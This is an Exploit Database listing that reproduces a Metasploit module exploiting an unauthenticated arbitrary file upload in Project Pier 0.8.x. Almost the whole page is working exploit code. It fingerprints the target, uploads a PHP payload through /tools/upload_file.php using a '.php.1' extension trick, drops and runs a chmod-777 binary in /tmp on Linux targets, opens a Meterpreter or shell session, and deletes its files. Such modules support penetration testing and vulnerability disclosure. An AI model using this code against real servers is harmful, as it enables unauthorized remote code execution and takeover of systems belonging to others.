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 SEARCHSPOIT MANUAL

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Project Pier - Arbitrary File Upload (Metasploit)

EDB-ID:

21929

CVE:

EDB Verified: ✓

Author:

[METASPLOIT](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2012-10-16

Vulnerable App:



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```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name' => "Project Pier Arbitrary File Upload
Vulnerability",
      'Description' => %q{
        This module exploits a vulnerability found in Project
Pier. The application's
        uploading tool does not require any authentication, which
allows a malicious user
        to upload an arbitrary file onto the web server, and then
cause remote code
        execution by simply requesting it. This module is known to
work against Apache
        servers due to the way it handles an extension name, but
the vulnerability may
        not be exploitable on others.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'BlackHawk',
          'sinn3r'
        ],
      'References' =>
        [
          ['OSVDB', '85881'],
          ['URL',
'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-
Upload.html' ]
        ],
      'Platform' => ['linux', 'php'],
      'Targets' =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP,
'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86,
'Platform' => 'linux' } ]
        ],
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'DisclosureDate' => "Oct 8 2012",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web
application', '/pp088/'])
      ], self.class)
  end

  def check
```



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```

target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res = send_request_cgi(
  {
    'method' => 'GET',
    'uri'     => "#{base}/index.php",
    'vars_get' =>
      {
        'c' => 'access',
        'a' => 'login'
      }
  })

if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and
res.headers['Server'] =~ /^Apache/
  return Exploit::CheckCode::Vulnerable
else
  return Exploit::CheckCode::Safe
end

def get_write_exec_payload(fname, data)
  p = Rex::Text.encode_base64(generate_payload_exe)
  php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
  php = php.gsub(/\t/, ' ').gsub(/\n/, ' ')
  return php
end

def on_new_session(cli)
  if cli.type == "meterpreter"
    cli.core.use("stdapi") if not cli.ext.aliases.include?
("stdapi")
  end

  @clean_files.each do |f|
    print_debug("#{@peer} - Removing: #{f}")
    begin
      if cli.type == 'meterpreter'
        cli.fs.file.rm(f)
      else
        cli.shell_command_token("rm #{f}")
      end
      print_debug("File removed: #{f}")
    rescue ::Exception => e
      print_error("#{@peer} - Unable to remove #{f}: #
{e.message}")
    end
  end
end

def upload_php(base, fname, php_payload, folder_name)
  data = Rex::MIME::Message.new
  data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
  data.add_part(php_payload, nil, nil, "form-data; name=file;
filename=\"#{fname}\"")
  data.add_part('', nil, nil, 'form-data; name="part"')
  data.add_part('Submit', nil, nil, 'form-data; name="submit"')

  post_data = data.to_s.gsub(/\r\n-\-\_Part\_/ , '--_Part_')

```



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```

res = send_request_cgi({
  'method' => 'POST',
  'uri'     => "#{base}/tools/upload_file.php",
  'ctype'   => "multipart/form-data; boundary=#{data.bound}",
  'data'    => post_data
})

return res.body if res
end

def exec_php(base, body)
  # Body example:
  # 0 ./upload/test/test.txt-0001
  uri = body.scan(/(\\/.+$/).flatten[0]
  @clean_files << File.basename(uri)

  res = send_request_raw({'uri' => "#{base}/tools/#{uri}")

  if res and res.code == 404
    print_error("#{@peer} - The upload most likely failed")
    return
  end

  handler
end

def exploit
  @peer = "#{rhost}:#{rport}"

  target_uri.path << '/' if target_uri.path[-1,1] != '/'
  base = File.dirname("#{target_uri.path}.")

  folder_name = Rex::Text.rand_text_alpha(4)
  php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
  @clean_files = []

  case target['Platform']
  when 'php'
    p = "<?php #{payload.encoded} ?>"
  when 'linux'
    bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
    @clean_files << bin_name
    bin = generate_payload_exe
    p = get_write_exec_payload("/tmp/#{bin_name}", bin)
  end

  print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s}
bytes)...")
  res = upload_php(base, php_fname, p, folder_name)

  if not res
    print_error("#{@peer} - No response from server")
    return
  end

  print_status("#{@peer} - Executing '#{php_fname}'...")
  exec_php(base, res)
end
end

```

Tags: [Metasploit Framework](#)
([MSF](#))

Advisory/Source: [Link](#)





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